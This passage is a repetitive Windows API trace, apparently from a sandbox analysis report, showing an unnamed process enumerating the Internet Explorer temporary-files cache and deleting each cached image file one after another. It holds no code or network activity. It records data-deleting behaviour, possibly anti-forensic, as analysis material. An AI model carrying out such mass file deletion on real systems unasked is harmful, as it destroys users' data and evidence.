(lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\ba[2].htm" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\ba[2].htm")) returned 1 [0103.786] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcc09ef20, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcc09ef20, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcc0c5080, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x2c0, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="BB5zDwX[1].png", cAlternateFileName="BB5ZDW~1.PNG")) returned 1 [0103.786] lstrlenW (lpString="BB5zDwX[1].png") returned 14 [0103.786] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="BB5zDwX[1].png" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BB5zDwX[1].png") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BB5zDwX[1].png" [0103.786] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BB5zDwX[1].png" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\bb5zdwx[1].png")) returned 1 [0103.786] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcc4ef700, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcc4ef700, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcc4ef700, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x227, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="BBaK3Nm[1].png", cAlternateFileName="BBAK3N~1.PNG")) returned 1 [0103.786] lstrlenW (lpString="BBaK3Nm[1].png") returned 14 [0103.786] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="BBaK3Nm[1].png" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBaK3Nm[1].png") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBaK3Nm[1].png" [0103.786] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBaK3Nm[1].png" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\bbak3nm[1].png")) returned 1 [0103.786] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcbe63a80, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcbe63a80, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcbe63a80, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x1c22, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="BBB8ZbM[1].jpg", cAlternateFileName="BBB8ZB~1.JPG")) returned 1 [0103.787] lstrlenW (lpString="BBB8ZbM[1].jpg") returned 14 [0103.787] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="BBB8ZbM[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBB8ZbM[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBB8ZbM[1].jpg" [0103.787] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBB8ZbM[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\bbb8zbm[1].jpg")) returned 1 [0103.795] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcc372940, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcc372940, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcc372940, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x1963, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="BBBseMP[1].jpg", cAlternateFileName="BBBSEM~1.JPG")) returned 1 [0103.804] lstrlenW (lpString="BBBseMP[1].jpg") returned 14 [0103.804] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="BBBseMP[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBBseMP[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBBseMP[1].jpg" [0103.804] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBBseMP[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\bbbsemp[1].jpg")) returned 1 [0103.804] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcb908900, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcb908900, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcb908900, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x2167, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="BBDDRiy[1].jpg", cAlternateFileName="BBDDRI~1.JPG")) returned 1 [0103.804] lstrlenW (lpString="BBDDRiy[1].jpg") returned 14 [0103.804] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="BBDDRiy[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDDRiy[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDDRiy[1].jpg" [0103.804] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDDRiy[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\bbddriy[1].jpg")) returned 1 [0103.805] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xea32a320, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xea32a320, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xea32a320, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x41e4, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="BBDEuKV[1].jpg", cAlternateFileName="BBDEUK~1.JPG")) returned 1 [0103.805] lstrlenW (lpString="BBDEuKV[1].jpg") returned 14 [0103.805] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="BBDEuKV[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDEuKV[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDEuKV[1].jpg" [0103.805] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDEuKV[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\bbdeukv[1].jpg")) returned 1 [0103.805] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcbf482c0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcbf482c0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcbf6e420, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x136f, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="BBDFpHx[1].jpg", cAlternateFileName="BBDFPH~1.JPG")) returned 1 [0103.805] lstrlenW (lpString="BBDFpHx[1].jpg") returned 14 [0103.805] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="BBDFpHx[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDFpHx[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDFpHx[1].jpg" [0103.805] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDFpHx[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\bbdfphx[1].jpg")) returned 1 [0103.806] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcc0c5080, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcc0c5080, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcc0c5080, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x36a2, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="BBDFSY9[1].jpg", cAlternateFileName="BBDFSY~1.JPG")) returned 1 [0103.806] lstrlenW (lpString="BBDFSY9[1].jpg") returned 14 [0103.806] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="BBDFSY9[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDFSY9[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDFSY9[1].jpg" [0103.806] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDFSY9[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\bbdfsy9[1].jpg")) returned 1 [0103.806] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcc15d600, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcc15d600, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcc15d600, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x865, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="BBDIAFH[1].jpg", cAlternateFileName="BBDIAF~1.JPG")) returned 1 [0103.806] lstrlenW (lpString="BBDIAFH[1].jpg") returned 14 [0103.806] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="BBDIAFH[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDIAFH[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDIAFH[1].jpg" [0103.806] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDIAFH[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\bbdiafh[1].jpg")) returned 1 [0103.806] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1aae03a0, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1aae03a0, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1aae03a0, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0xa1e, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="BBDJEON[1].jpg", cAlternateFileName="BBDJEO~1.JPG")) returned 1 [0103.806] lstrlenW (lpString="BBDJEON[1].jpg") returned 14 [0103.806] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="BBDJEON[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDJEON[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDJEON[1].jpg" [0103.806] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDJEON[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\bbdjeon[1].jpg")) returned 1 [0103.842] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4dbca1c0, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x4dbca1c0, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x4dbf0320, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x8982, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="BBDJIs4[1].jpg", cAlternateFileName="BBDJIS~1.JPG")) returned 1 [0103.842] lstrlenW (lpString="BBDJIs4[1].jpg") returned 14 [0103.842] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="BBDJIs4[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDJIs4[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDJIs4[1].jpg" [0103.842] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDJIs4[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\bbdjis4[1].jpg")) returned 1 [0103.842] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcb908900, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcb908900, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcb908900, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x12d2, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="BBDJV7W[1].jpg", cAlternateFileName="BBDJV7~1.JPG")) returned 1 [0103.842] lstrlenW (lpString="BBDJV7W[1].jpg") returned 14 [0103.842] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="BBDJV7W[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDJV7W[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDJV7W[1].jpg" [0103.842] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDJV7W[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\bbdjv7w[1].jpg")) returned 1 [0103.843] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcb9a0e80, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcb9a0e80, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcb9a0e80, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0xa09, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="BBDK0KJ[1].jpg", cAlternateFileName="BBDK0K~1.JPG")) returned 1 [0103.843] lstrlenW (lpString="BBDK0KJ[1].jpg") returned 14 [0103.843] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="BBDK0KJ[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDK0KJ[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDK0KJ[1].jpg" [0103.843] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDK0KJ[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\bbdk0kj[1].jpg")) returned 1 [0103.843] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xed311de0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xed311de0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xed311de0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x3710, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="BBDK2sB[1].jpg", cAlternateFileName="BBDK2S~1.JPG")) returned 1 [0103.843] lstrlenW (lpString="BBDK2sB[1].jpg") returned 14 [0103.843] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="BBDK2sB[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDK2sB[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDK2sB[1].jpg" [0103.843] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDK2sB[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\bbdk2sb[1].jpg")) returned 1 [0103.843] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcbed5ea0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcbed5ea0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcbed5ea0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x2d1c, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="BBDK3QY[1].jpg", cAlternateFileName="BBDK3Q~1.JPG")) returned 1 [0103.843] lstrlenW (lpString="BBDK3QY[1].jpg") returned 14 [0103.843] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="BBDK3QY[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDK3QY[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDK3QY[1].jpg" [0103.843] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDK3QY[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\bbdk3qy[1].jpg")) returned 1 [0103.844] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcb8964e0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcb8964e0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcb8964e0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x151e, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="BBDKWr8[1].jpg", cAlternateFileName="BBDKWR~1.JPG")) returned 1 [0103.844] lstrlenW (lpString="BBDKWr8[1].jpg") returned 14 [0103.844] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="BBDKWr8[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDKWr8[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDKWr8[1].jpg" [0103.844] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDKWr8[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\bbdkwr8[1].jpg")) returned 1 [0103.844] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfc2983a0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xfc2983a0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xfc2983a0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x4f53, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="BBDLHiT[1].jpg", cAlternateFileName="BBDLHI~1.JPG")) returned 1 [0103.844] lstrlenW (lpString="BBDLHiT[1].jpg") returned 14 [0103.844] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="BBDLHiT[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDLHiT[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDLHiT[1].jpg" [0103.844] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDLHiT[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\bbdlhit[1].jpg")) returned 1 [0103.844] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xdb677780, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xdb677780, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xdb677780, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, 